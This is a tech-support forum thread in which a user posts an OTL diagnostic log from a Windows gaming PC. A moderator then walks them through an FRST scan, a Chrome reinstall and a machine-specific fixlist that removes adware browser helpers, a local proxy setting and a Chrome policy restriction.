"TCP Query User{1064473F-A480-4C39-BB81-AF196F134042}C:\program files (x86)\java\jre1.8.0_31\bin\java.exe" = protocol=6 | dir=in | app=c:\program files (x86)\java\jre1.8.0_31\bin\java.exe |
"TCP Query User{13420DCD-DD2C-4563-999C-25A65C1D5DA4}C:\program files (x86)\java\jre1.8.0_31\bin\javaw.exe" = protocol=6 | dir=in | app=c:\program files (x86)\java\jre1.8.0_31\bin\javaw.exe |
"TCP Query User{3870C2BC-BC1B-49AA-ADF2-DD09D18729A6}C:\program files\firestorm-releasex64\slvoice.exe" = protocol=6 | dir=in | app=c:\program files\firestorm-releasex64\slvoice.exe |
"TCP Query User{447B3070-4F80-465B-B31F-6E58CEBF1BFD}C:\program files (x86)\amazon\utilities\amazon music importer\amazon music importer.exe" = protocol=6 | dir=in | app=c:\program files (x86)\amazon\utilities\amazon music importer\amazon music importer.exe |
"TCP Query User{5584E72D-830D-40ED-B52E-75BD8B118E46}C:\program files (x86)\steam\steamapps\common\resident evil 5\re5dx10.exe" = protocol=6 | dir=in | app=c:\program files (x86)\steam\steamapps\common\resident evil 5\re5dx10.exe |
"TCP Query User{8B377348-FA0F-495F-9186-476F5F5FD697}C:\program files (x86)\steam\steamapps\common\dc universe online\unreal3\binaries\win32\dcgame.exe" = protocol=6 | dir=in | app=c:\program files (x86)\steam\steamapps\common\dc universe online\unreal3\binaries\win32\dcgame.exe |
"TCP Query User{A9097F48-557C-47A3-8333-AB3A9D408697}C:\program files\singularity\slvoice.exe" = protocol=6 | dir=in | app=c:\program files\singularity\slvoice.exe |
"TCP Query User{B18AFF66-7ADA-4A44-9554-FCD692BB05EB}C:\program files (x86)\steam\steamapps\common\resident evil 5\re5dx9.exe" = protocol=6 | dir=in | app=c:\program files (x86)\steam\steamapps\common\resident evil 5\re5dx9.exe |
"TCP Query User{B4EEF35D-958B-421B-98C4-0ACD8BA7FC7A}C:\users\mewtw_000\desktop\emulators\utorrent.exe" = protocol=6 | dir=in | app=c:\users\mewtw_000\desktop\emulators\utorrent.exe |
"TCP Query User{B8F1D878-3008-44E1-A6D2-6DC791D90D9D}C:\program files (x86)\skype\phone\skype.exe" = protocol=6 | dir=in | app=c:\program files (x86)\skype\phone\skype.exe |
"TCP Query User{E53D960E-0B70-4CB9-ACBE-F306FF08E38C}C:\program files\firestorm-betax64\slvoice.exe" = protocol=6 | dir=in | app=c:\program files\firestorm-betax64\slvoice.exe |
"UDP Query User{047302F3-8BDF-4CF8-87E4-21A3C3977B50}C:\program files (x86)\steam\steamapps\common\dc universe online\unreal3\binaries\win32\dcgame.exe" = protocol=17 | dir=in | app=c:\program files (x86)\steam\steamapps\common\dc universe online\unreal3\binaries\win32\dcgame.exe |
"UDP Query User{095E87D5-A081-41CD-AB94-AC8C6FE025DD}C:\program files (x86)\steam\steamapps\common\resident evil 5\re5dx10.exe" = protocol=17 | dir=in | app=c:\program files (x86)\steam\steamapps\common\resident evil 5\re5dx10.exe |
"UDP Query User{132D9DF7-76BB-4A22-BDD0-E875CCC37132}C:\program files\singularity\slvoice.exe" = protocol=17 | dir=in | app=c:\program files\singularity\slvoice.exe |
"UDP Query User{36515A94-3791-44A6-AACD-3EFF5382E946}C:\program files (x86)\amazon\utilities\amazon music importer\amazon music importer.exe" = protocol=17 | dir=in | app=c:\program files (x86)\amazon\utilities\amazon music importer\amazon music importer.exe |
"UDP Query User{6FF6B32A-B66F-4B65-84B6-E46F834E8489}C:\program files (x86)\java\jre1.8.0_31\bin\java.exe" = protocol=17 | dir=in | app=c:\program files (x86)\java\jre1.8.0_31\bin\java.exe |
"UDP Query User{8810489F-71D3-441E-A529-B866CCF9B4D7}C:\program files (x86)\java\jre1.8.0_31\bin\javaw.exe" = protocol=17 | dir=in | app=c:\program files (x86)\java\jre1.8.0_31\bin\javaw.exe |
"UDP Query User{89A678A5-28B4-414E-AF54-926F5FA986BB}C:\program files (x86)\skype\phone\skype.exe" = protocol=17 | dir=in | app=c:\program files (x86)\skype\phone\skype.exe |
"UDP Query User{9A859BD7-D967-41D4-BE0F-A0762C185849}C:\users\mewtw_000\desktop\emulators\utorrent.exe" = protocol=17 | dir=in | app=c:\users\mewtw_000\desktop\emulators\utorrent.exe |
"UDP Query User{9B5678F2-08E1-4D95-A8B3-D3B022B26F3C}C:\program files\firestorm-betax64\slvoice.exe" = protocol=17 | dir=in | app=c:\program files\firestorm-betax64\slvoice.exe |
"UDP Query User{AB9BBA9F-CC0B-435D-9DE7-F8E15ACEA29E}C:\program files (x86)\steam\steamapps\common\resident evil 5\re5dx9.exe" = protocol=17 | dir=in | app=c:\program files (x86)\steam\steamapps\common\resident evil 5\re5dx9.exe |
"UDP Query User{AE007CA2-0E2D-4A22-B879-7DA5077FE24B}C:\program files (x86)\skype\phone\skype.exe" = protocol=17 | dir=in | app=c:\program files (x86)\skype\phone\skype.exe |
"UDP Query User{B0BE06F7-5F81-49F7-A5E0-1DF89F334E74}C:\program files\firestorm-releasex64\slvoice.exe" = protocol=17 | dir=in | app=c:\program files\firestorm-releasex64\slvoice.exe |
 
========== HKEY_LOCAL_MACHINE Uninstall List ==========
 
64bit: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall]
"{1D8E6291-B0D5-35EC-8441-6616F567A0F7}" = Microsoft Visual C++ 2010  x64 Redistributable - 10.0.40219
"{23170F69-40C1-2702-0938-000001000000}" = 7-Zip 9.38 (x64 edition)
"{27EF252D-800C-ED42-9904-459FE0046225}" = Windows Software Development Kit for Windows Store Apps DirectX x64 Remote
"{37B8F9C7-03FB-3253-8781-2517C99D7C00}" = Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030
"{3FA063D7-EDC1-AFA8-54AF-0563C7DEE070}" = Windows App Certification Kit Native Components
"{4B6C7001-C7D6-3710-913E-5BC23FCE91E6}" = Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.4148
"{5C13E0F2-5CF0-45B1-B97D-7EF745F56528}" = Firestorm SecondLife and OpenSim viewer
"{5D61F006-168C-4B8B-B7FD-F113C10AE0E4}" = Apple Mobile Device Support
"{5FB4C443-6BD6-1514-2717-3827D65AE6FB}" = Windows Software Development Kit DirectX x64 Remote
"{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}" = Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161
"{6CF1A7E2-8001-4870-9F18-3C6CDD6FE9E3}" = iTunes
"{6E3610B2-430D-4EB0-81E3-2B57E8B9DE8D}" = Bonjour
"{709A2D23-C25E-47B5-9268-CB6FEE648504}" = iCloud
"{7346C35D-942D-3CCE-94CB-7008BA8D63CB}" = Application Verifier x64 External Package
"{77588F59-3C58-4675-8EEE-998E5BC33CF4}" = Adblock Plus for IE (32-bit and 64-bit)
"{866A5030-74E3-11E4-92A4-F04DA23A5C58}" = MSVCRT Redists
"{89F4137D-6C26-4A84-BDB8-2E5A4BB71E00}" = Microsoft Silverlight
"{929FBD26-9020-399B-9A7A-751D61F0B942}" = Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005
"{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}" = Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005
"{ad8a2fa1-06e7-4b0d-927d-6e54b3d31028}" = Microsoft Visual C++ 2005 Redistributable (x64)
"{B255D495-4734-4E9B-B4F5-96702FD4A7B9}" = Apple Application Support (64-bit)
"{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.ControlPanel" = NVIDIA Control Panel 353.30
"{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.GFExperience" = NVIDIA GeForce Experience 2.4.5.60
"{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.Optimus" = NVIDIA Optimus Update 2.4.5.60
"{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.Update" = NVIDIA Update 2.4.5.60
"{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_GFExperience.LEDVisualizer" = NVIDIA LED Visualizer 1.0
"{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_GFExperience.NvStreamSrv" = SHIELD Streaming
"{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_GfExperienceService" = NVIDIA GeForce Experience Service
"{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_installer" = NVIDIA Install Application
"{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Network.Service" = NVIDIA Network Service
"{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_ShadowPlay" = NVIDIA ShadowPlay 2.4.5.60
"{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_ShieldWirelessController" = SHIELD Wireless Controller Driver
"{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Update.Core" = NVIDIA Update Core
"{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_VirtualAudio.Driver" = NVIDIA Virtual Audio 1.2.28
"{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}" = Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030
"{DC2CB48C-FD96-48EB-A36A-7D995BB587EB}" = Microsoft Xbox One Controller for Windows
"{F9F5178F-74D6-11E4-AEA8-F04DA23A5C58}" = MSVCRT Redists
"6af12c54-643b-4752-87d0-8335503010de_is1" = Nexus Mod Manager
"DAEMON Tools Pro" = DAEMON Tools Pro
"jdownloader2" = JDownloader 2
"WinRAR archiver" = WinRAR 5.21 (64-bit)
 
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall]
"{02213A81-CB13-7262-5ABE-1FFA2C75559F}" = Windows App Certification Kit x64
"{02627EE5-EACA-4742-A9CC-E687631773E4}" = Nero ShowTime
"{050d4fc8-5d48-4b8f-8972-47c82c46020f}" = Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501
"{08D2E121-7F6A-43EB-97FD-629B44903403}" = Microsoft_VC90_CRT_x86
"{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}" = Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005
"{18455581-E099-4BA8-BC6B-F34B2F06600C}" = Google Toolbar for Internet Explorer
"{1a413f37-ed88-4fec-9666-5c48dc4b7bb7}" = YTD Video Downloader 4.9
"{1EECBA68-8BE4-4076-94DF-E9ED206B1D21}" = Star Wars Jedi Knight Jedi Academy
"{1F1C2DFC-2D24-3E06-BCB8-725134ADF989}" = Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.4148
"{20400DBD-E6DB-45B8-9B6B-1DD7033818EC}" = Nero InfoTool Help
"{23176E97-26CB-C72A-19EB-BFB21AC1D15A}" = Windows Software Development Kit DirectX x86 Remote
"{2318C2B1-4965-11d4-9B18-009027A5CD4F}" = Google Toolbar for Internet Explorer
"{2348B586-C9AE-46CE-936C-A68E9426E214}" = Nero StartSmart Help
"{24991BA0-F0EE-44AD-9CC8-5EC50AECF6B7}" = Skype™ 7.6
"{26A24AE4-039D-4CA4-87B4-2F83218045F0}" = Java 8 Update 45
"{33CF58F5-48D8-4575-83D6-96F574E4D83A}" = Nero DriveSpeed
"{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" = Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030
"{34927EBC-98D4-4D53-98BE-510DF5999F50}" = Adobe AIR
"{363a2c1e-637f-45ce-933b-5a5463efd945}" = Windows Software Development Kit
"{3BAF1C25-33AA-AB09-0D89-1BAB227E5FB8}" = Amazon Music Importer
"{3FE312D5-B862-40CE-8E4E-A6D8ABF62736}" = Microsoft ASP.NET MVC 4 Runtime
"{42F61556-29ED-8122-F39E-6F04EA5FF279}" = Windows Software Development Kit for Windows Store Apps DirectX x86 Remote
"{43E39830-1826-415D-8BAE-86845787B54B}" = Nero Vision
"{4A03706F-666A-4037-7777-5F2748764D10}" = Java Auto Updater
"{4AE57014-05C4-4864-A13D-86517A7E1BA4}" = Microsoft .NET Framework 4.5 SDK
"{4D43D635-6FDA-4FA5-AA9B-23CF73D058EA}" = Nero StartSmart OEM
"{512957F0-B211-C50A-C1FC-6867FC3348A1}" = Windows Software Development Kit Redistributables
"{56C049BE-79E9-4502-BEA7-9754A3E60F9B}" = neroxml
"{56E962F0-4FB0-3C67-88DB-9EAA6EEFC493}" = Microsoft .NET Framework 4.5 Multi-Targeting Pack
"{57672BEC-E777-4D4B-944A-719414E84D3F}" = Microsoft Games for Windows Marketplace (Partnernet)
"{576E71DA-3000-48F6-9B21-B9A70D47DFCF}" = Star Wars JK II Jedi Outcast
"{595A3116-40BB-4E0F-A2E8-D7951DA56270}" = NeroExpress
"{5D9BE3C1-8BA4-4E7E-82FD-9F74FA6815D1}" = Nero Vision Help
"{60D5EF2A-4E0C-2C30-38F6-59C26E134F4A}" = Windows Software Development Kit
"{60EC980A-BDA2-4CB6-A427-B07A5498B4CA}" = Google Update Helper
"{612C34C7-5E90-47D8-9B5C-0F717DD82726}" = swMSM
"{627FFC10-CE0A-497F-BA2B-208CAC638010}" = QuickTime 7
"{62AC81F6-BDD3-4110-9D36-3E9EAAB40999}" = Nero CoverDesigner
"{66732EEE-ECBC-4CA6-A474-1122}_is1" = Internet Explorer 11
"{67F42018-F647-4D3C-BE62-F8CB4FE2FCD5}" = Microsoft Games for Windows Marketplace
"{6D1221A9-17BF-4EC0-81F2-27D30EC30701}" = Skype Click to Call
"{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}" = Microsoft Visual C++ 2005 Redistributable
"{730E03E4-350E-48E5-9D3E-4329903D454D}" = Itibiti RTC
"{74EB3499-8B95-4B5C-96EB-7B342F3FD0C6}" = Adobe Photoshop CS6
"{7748AC8C-18E3-43BB-959B-088FAEA16FB2}" = Nero StartSmart
"{7829DB6F-A066-4E40-8912-CB07887C20BB}" = Nero BurnRights
"{789A5B64-9DD9-4BA5-915A-F0FC0A1B7BFE}" = Apple Software Update
"{7FE25256-B7C1-480D-B736-10A67A833AEA}" = Apple Application Support (32-bit)
"{83202942-84B3-4C50-8622-B8C0AA2D2885}" = Nero Express Help
"{832D9DE0-8AFC-4689-9819-4DBBDEBD3E4F}" = Microsoft Games for Windows - LIVE Redistributable
"{837b34e3-7c30-493c-8f6a-2b0f04e2912c}" = Microsoft Visual C++ 2005 Redistributable
"{869200DB-287A-4DC0-B02B-2B6787FBCD4C}" = Nero DiscSpeed
"{92D58719-BBC1-4CC3-A08B-56C9E884CC2C}" = Microsoft_VC80_CRT_x86
"{9395F41D-0F80-432E-9A59-B8E477E7E163}" = OpenOffice 4.1.1
"{97166652-349c-48f1-a024-fa8539c5cb47}" = Firestorm-Betax64 x64
"{986EABFC-92F6-CECD-9E5A-B13CAC40BB1D}" = WPTx64
"{9A25302D-30C0-39D9-BD6F-21E6EC160475}" = Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.17
"{9A4082EA-66C8-405C-B772-3058DA0A94C9}" = System Requirements Lab Detection
"{9BE518E6-ECC6-35A9-88E4-87755C07200F}" = Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161
"{A5D42D71-4036-5F88-5085-657C9DF9F1DD}" = WPT Redistributables
"{A8F2089B-1F79-4BF6-B385-A2C2B0B9A74D}" = ImagXpress
"{A92DAB39-4E2C-4304-9AB6-BC44E68B55E2}" = globalupdate Helper
"{B0EC0808-6922-8705-C255-F9C79C315BD5}" = AutoeDeaiLsApp
"{B175520C-86A2-35A7-8619-86DC379688B9}" = Microsoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030
"{B1ADF008-E898-4FE2-8A1F-690D9A06ACAF}" = DolbyFiles
"{B2EC4A38-B545-4A00-8214-13FE0E915E6D}" = Advertising Center
"{B343B0E3-212A-40B9-8207-1BD299228F5D}" = Fallout 3 - The Garden of Eden Creation Kit
"{B78120A0-CF84-4366-A393-4D0A59BC546C}" = Menu Templates - Starter Kit
"{B8E7EF80-9719-4EEB-944D-E68D1F3DFA7B}" = LogMeIn Hamachi
"{BD5CA0DA-71AD-43DA-B19E-6EEE0C9ADC9A}" = Nero ControlCenter
"{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}" = Microsoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030
"{BFEAAE77-BD7F-4534-B286-9C5CB4697EB1}" = PDF Settings CS6
"{C81A2FE0-3574-00A9-CED4-BDAA334CBE8E}" = Nero Online Upgrade
"{CA3DD97D-1FD7-37A7-BD5C-FC4430C8B8E6}" = Google Talk Plugin
"{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" = Microsoft Visual C++ 2012 Redistributable (x64) - 11.0.61030
"{CC019E3F-59D2-4486-8D4B-878105B62A71}" = Nero DiscSpeed Help
"{CD24B06F-0A4D-410A-AEF2-DFE6A28AB4C0}_is1" = Action Replay PowerSaves 3DS version 1.28
"{CE96F5A5-584D-4F8F-AA3E-9BAED413DB72}" = Nero CoverDesigner Help
"{D11F66FF-82B3-DDB8-1146-525370552BE1}" = Windows Software Development Kit for Windows Store Apps
"{D4F102C5-EEA1-CAE1-8E67-1A7FCE27F673}" = Windows Software Development Kit EULA
"{D9DCF92E-72EB-412D-AC71-3B01276E5F8B}" = Nero ShowTime
"{DA5BDB2A-12F0-4343-8351-21AAEB293990}" = PreReq
"{E14DDED2-919B-FCCB-84AC-5ABB6D182D46}" = Kits Configuration Installer
"{E498385E-1C51-459A-B45F-1721E37AA1A0}" = Movie Templates - Starter Kit
"{E5C7D048-F9B4-4219-B323-8BDB01A2563D}" = Nero DriveSpeed Help
"{E63A3353-003C-E4C2-230B-F155212D1479}" = SDK Debuggers
"{E8A80433-302B-4FF1-815D-FCC8EAC482FF}" = Nero Installer
"{E9AD2F38-EF9C-B9DA-048A-A92FBC17701E}" = Steam Trader Helper
"{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}" = Microsoft Visual C++ 2010  x86 Redistributable - 10.0.40219
"{F132AF7F-7BCA-4EDE-8A7C-958108FE7DBC}" = Realtek High Definition Audio Driver
"{F4041DCE-3FE1-4E18-8A9E-9DE65231EE36}" = Nero ControlCenter
"{f46131ff-cf2d-419c-8c13-60d9d513a3f7}" = Nero 9 Essentials
"{f65db027-aff3-4070-886a-0d87064aabb1}" = Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501
"{F6BDD7C5-89ED-4569-9318-469AA9732572}" = Nero BurnRights Help
"{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}" = Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005
"{FAA7F8FF-3C05-4A61-8F14-D8A6E9ED6623}" = ooVoo
"{FBCDFD61-7DCF-4E71-9226-873BA0053139}" = Nero InfoTool
"5513-1208-7298-9440" = JDownloader 0.9
"Adobe AIR" = Adobe AIR
"Adobe Flash Player NPAPI" = Adobe Flash Player 18 NPAPI
"Adobe Shockwave Player" = Adobe Shockwave Player 12.1
"Advanced SystemCare 8_is1" = Advanced SystemCare 8
"AIM_7" = AIM 7
"Audacity_is1" = Audacity 2.0
"Black_Chocobo" = Black Chocobo
"BOSS" = BOSS
"Cheat Engine 6.4_is1" = Cheat Engine 6.4
"CloneCD" = CloneCD
"CloneDVD2" = CloneDVD2
"com.amazon.music.uploader" = Amazon Music Importer
"Driver Booster_is1" = Driver Booster 2.4
"Generic Mod Manager_is1" = Fallout Mod Manager 0.13.21
"Google Chrome" = Google Chrome
"IObit Malware Fighter_is1" = IObit Malware Fighter 3
"IObit Surfing Protection_is1" = Surfing Protection
"IObit_StartMenu8_is1" = Start Menu 8
"IObitUninstall" = IObit Uninstaller
"LogMeIn Hamachi" = LogMeIn Hamachi
"Malwarebytes Anti-Malware_is1" = Malwarebytes Anti-Malware version 2.1.8.1057
"ManyCam" = ManyCam 4.1.1
"Mozilla Firefox 39.0 (x86 en-US)" = Mozilla Firefox 39.0 (x86 en-US)
"MozillaMaintenanceService" = Mozilla Maintenance Service
"NVEC Complete" = New Vegas Enhanced Content Complete
"Oblivion mod manager_is1" = Oblivion mod manager 1.1.12
"PaintToolSAI" = PaintTool SAI Ver.1
"PrintProjects" = PrintProjects
"Project 64_is1" = Project 64 version 2.1.0.1
"Razer Cortex_is1" = Razer Cortex
"SecondLifeViewer" = SecondLifeViewer (remove only)
"Singularity (64 bit)" = Singularity (64 bit) (remove only)
"Smart Defrag 4_is1" = Smart Defrag 4
"SoftwareUpdUtility" = Download Updater (AOL LLC)
"Steam" = Steam
"Steam App 200260" = Batman: Arkham City GOTY
"Steam App 202480" = Creation Kit
"Steam App 202530" = SONIC THE HEDGEHOG 4 Episode I
"Steam App 203650" = SONIC THE HEDGEHOG 4 Episode II
"Steam App 206420" = Saints Row IV
"Steam App 208610" = Skullgirls ∞Endless Beta∞
"Steam App 21670" = Bionic Commando
"Steam App 21680" = Bionic Commando Rearmed
"Steam App 21690" = Resident Evil 5
"Steam App 22320" = The Elder Scrolls III: Morrowind
"Steam App 22330" = The Elder Scrolls IV: Oblivion
"Steam App 22370" = Fallout 3 - Game of the Year Edition
"Steam App 22380" = Fallout: New Vegas
"Steam App 225140" = Duke Nukem 3D: Megaton Edition
"Steam App 237110" = Mortal Kombat Komplete Edition
"Steam App 237630" = DuckTales Remastered
"Steam App 24200" = DC Universe Online
"Steam App 242700" = Injustice: Gods Among Us Ultimate Edition
"Steam App 245170" = Skullgirls
"Steam App 254700" = resident evil 4 / biohazard 4
"Steam App 301910" = Saints Row: Gat out of [bleep]
"Steam App 304240" = Resident Evil / biohazard HD REMASTER
"Steam App 312750" = FINAL FANTASY IV
"Steam App 319510" = Five Nights at Freddy's
"Steam App 332800" = Five Nights at Freddy's 2
"Steam App 346830" = FINAL FANTASY IV: THE AFTER YEARS
"Steam App 388090" = Five Nights at Freddy's 4
"Steam App 39140" = FINAL FANTASY VII
"Steam App 4000" = Garry's Mod
"Steam App 440" = Team Fortress 2
"Steam App 49520" = Borderlands 2
"Steam App 550" = Left 4 Dead 2
"Steam App 55230" = Saints Row: The Third
"Steam App 72850" = The Elder Scrolls V: Skyrim
"Steam App 8870" = BioShock Infinite
"TW9ydGFsS29tYmF0WA==_is1" = Mortal Kombat X
"VST Bridge_is1" = VST Bridge 1.1
"WBFS Manager 3.0" = WBFS Manager 3.0
"Winamp" = Winamp
"WinImage" = WinImage
"Wrestling MPire Remix (Career)" = Wrestling MPire Remix (Career)
"Wrye Bash" = Wrye Bash
"XiphQT" = Xiph QuickTime Components
"Yahoo! Messenger" = Yahoo! Messenger
"Yahoo! Software Update" = Yahoo! Software Update
"ZC192B183" = Zelda Classic 1.92 beta 183
 
========== HKEY_CURRENT_USER Uninstall List ==========
 
[HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall]
"Amazon Amazon Music" = Amazon Music
"JoinMe" = join.me
"SOE-DC Universe Online Live" = DC Universe Online Live
 
========== Last 20 Event Log Errors ==========
 
[ Application Events ]
Error - 7/29/2015 9:57:56 PM | Computer Name = Gamerpc2 | Source = IMFservice | ID = 0
Description =
 
Error - 7/29/2015 9:57:56 PM | Computer Name = Gamerpc2 | Source = IMFservice | ID = 0
Description =
 
Error - 7/29/2015 11:22:19 PM | Computer Name = Gamerpc2 | Source = Application Error | ID = 1000
Description = Faulting application name: mbam.exe, version: 2.3.55.0, time stamp:
 0x557a2a02  Faulting module name: ntdll.dll, version: 6.3.9600.17736, time stamp:
 0x550f42c2  Exception code: 0xc0000005  Fault offset: 0x00014dea  Faulting process id:
 0x1fa4  Faulting application start time: 0x01d0ca6c21bf5807  Faulting application path:
 C:\Program Files (x86)\Malwarebytes Anti-Malware\mbam.exe  Faulting module path:
C:\Windows\SYSTEM32\ntdll.dll  Report Id: 2ee4bf83-366a-11e5-83af-bc5ff44e079e  Faulting
 package full name:   Faulting package-relative application ID:
 
Error - 7/29/2015 11:27:49 PM | Computer Name = Gamerpc2 | Source = AdvancedSystemCareService8 | ID = 0
Description =
 
Error - 7/29/2015 11:27:49 PM | Computer Name = Gamerpc2 | Source = AdvancedSystemCareService8 | ID = 0
Description =
 
Error - 7/29/2015 11:30:05 PM | Computer Name = Gamerpc2 | Source = IMFservice | ID = 0
Description =
 
Error - 7/29/2015 11:30:05 PM | Computer Name = Gamerpc2 | Source = IMFservice | ID = 0
Description =
 
Error - 7/29/2015 11:30:06 PM | Computer Name = Gamerpc2 | Source = AdvancedSystemCareService8 | ID = 0
Description =
 
Error - 7/29/2015 11:30:06 PM | Computer Name = Gamerpc2 | Source = AdvancedSystemCareService8 | ID = 0
Description =
 
Error - 7/30/2015 12:59:00 AM | Computer Name = Gamerpc2 | Source = Application Hang | ID = 1002
Description = The program LiveComm.exe version 17.5.9600.20911 stopped interacting
 with Windows and was closed. To see if more information about the problem is available,
 check the problem history in the Action Center control panel.    Process ID: c48    Start
 Time: 01d0ca83ae85d002    Termination Time: 4294967295    Application Path: C:\Program
Files\WindowsApps\microsoft.windowscommunicationsapps_17.5.9600.20911_x64__8wekyb3d8bbwe\LiveComm.exe

Report
 Id: a68587e7-3677-11e5-83b1-bc5ff44e079e    Faulting package full name: microsoft.windowscommunicationsapps_17.5.9600.20911_x64__8wekyb3d8bbwe

Faulting
 package-relative application ID: ppleae38af2e007f4358a809ac99a64a67c1 
 
[ System Events ]
Error - 7/29/2015 11:28:21 PM | Computer Name = Gamerpc2 | Source = Microsoft-Windows-Ntfs | ID = 98
Description =
 
Error - 7/29/2015 11:28:37 PM | Computer Name = Gamerpc2 | Source = Service Control Manager | ID = 7000
Description = The Media Service service failed to start due to the following error:
   %%3
 
Error - 7/29/2015 11:28:43 PM | Computer Name = Gamerpc2 | Source = Service Control Manager | ID = 7000
Description = The UpdateCheck service failed to start due to the following error:
   %%3
 
Error - 7/29/2015 11:29:50 PM | Computer Name = Gamerpc2 | Source = Service Control Manager | ID = 7043
Description = The Group Policy Client service did not shut down properly after receiving
 a preshutdown control.
 
Error - 7/29/2015 11:30:05 PM | Computer Name = Gamerpc2 | Source = Service Control Manager | ID = 7023
Description = The Peer Networking Identity Manager service terminated with the following
 error:   %%2147550931
 
Error - 7/29/2015 11:30:05 PM | Computer Name = Gamerpc2 | Source = Service Control Manager | ID = 7001
Description = The Peer Networking Grouping service depends on the Peer Networking
 Identity Manager service which failed to start because of the following error:
  %%2147550931
 
Error - 7/29/2015 11:30:05 PM | Computer Name = Gamerpc2 | Source = Service Control Manager | ID = 7001
Description = The Peer Name Resolution Protocol service depends on the Peer Networking
 Identity Manager service which failed to start because of the following error:
  %%2147550931
 
Error - 7/30/2015 12:52:56 AM | Computer Name = Gamerpc2 | Source = Microsoft-Windows-Ntfs | ID = 98
Description =
 
Error - 7/30/2015 12:53:13 AM | Computer Name = Gamerpc2 | Source = Service Control Manager | ID = 7000
Description = The Media Service service failed to start due to the following error:
   %%3
 
Error - 7/30/2015 12:53:19 AM | Computer Name = Gamerpc2 | Source = Service Control Manager | ID = 7000
Description = The UpdateCheck service failed to start due to the following error:
   %%3
 
 
< End of report >

 

hoping for a swift response, thanks in advance

 


  • 0

Advertisements


#2
Essexboy

Essexboy

    GeekU Moderator

  • Retired Staff
  • 69,964 posts
Hi we no longer use OTL as the first analyser

Please download Farbar Recovery Scan Tool and save it to your Desktop.

Note: You need to run the version compatible with your system. If you are not sure which version applies to your system download both of them and try to run them. Only one of them will run on your system, that will be the right version.
  • Right click to run as administrator (XP users click run after receipt of Windows Security Warning - Open File). When the tool opens click Yes to disclaimer.
  • Select additions at the bottom
  • Press Scan button.
    frst.JPG
  • It will produce a log called FRST.txt in the same directory the tool is run from.
  • Please attach both logs generated.

  • 0

#3
Lucky Dearly

Lucky Dearly

    Member

  • Topic Starter
  • Member
  • PipPipPip
  • 299 posts

Okay here's the logs

Attached Files


  • 0

#4
Essexboy

Essexboy

    GeekU Moderator

  • Retired Staff
  • 69,964 posts
OK a busy time now, once all the following have completed could you let me know how the computer is behaving

Re-install Chrome

Unless you did this yourself, malware has changed your Chrome version into the Development Build. Among other things this allows malware to install any extension it wants. We need to resolve this.

1. If you have bookmarks, let's save them by exporting them - Export Bookmarks
2. Then I need you to go Google Sync and sign into your account
3. Scroll down until you see the "Stop and Clear" button and click on the button. At the prompt click on "Ok"
4. Now we need to uninstall chrome.
Note: When asked about user data or settings you must remove this also so please check the box.
5. Restart the computer and reinstall chrome, You can download The latest version from here - Google Chrome
6. Import your bookmarks back into Chrome
7. Sign back in to your Chrome browser so that your bookmarks sync with your online account.

NEXT


CAUTION : This fix is only valid for this specific machine, using it on another may break your computer

Open notepad and copy/paste the text in the quotebox below into it:
Or if you wish download this pre-compiled fixlist.txt
Attached File  fixlist.txt   33.43KB   141 downloads

 

CreateRestorePoint:
GroupPolicy: Group Policy on Chrome detected <======= ATTENTION
CHR HKLM\SOFTWARE\Policies\Google: Policy restriction <======= ATTENTION
ProxyEnable: [.DEFAULT] => Internet Explorer proxy is enabled.
ProxyServer: [.DEFAULT] => http=127.0.0.1:55587;https=127.0.0.1:55587
BHO: No Name -> {004B0726-A010-4ABF-8556-FCDB7F1FCA1E} -> No File
BHO: CuttThePriicee -> {FC41A6F5-6C19-493F-852D-AD183119D8DD} -> C:\Program Files (x86)\CuttThePriicee\b71JAXTXC5FAod.x64.dll No File
FF Plugin-x32: @xunlei.com/npxluser -> C:\Program Files (x86)\Common Files\Thunder Network\UserAgent\npxluser2.0.2.3.dll No File
FF user.js: detected! => C:\Users\mewtw_000\AppData\Roaming\Mozilla\Firefox\Profiles\ui2sr9ag.default\user.js [2015-05-20]
FF Extension: Super Web Accelerator ! - C:\Program Files (x86)\Mozilla Firefox\distribution\bundles\firefox [2015-06-19]
S2 MediaService; No ImagePath
S2 UpdateCheck; No ImagePath
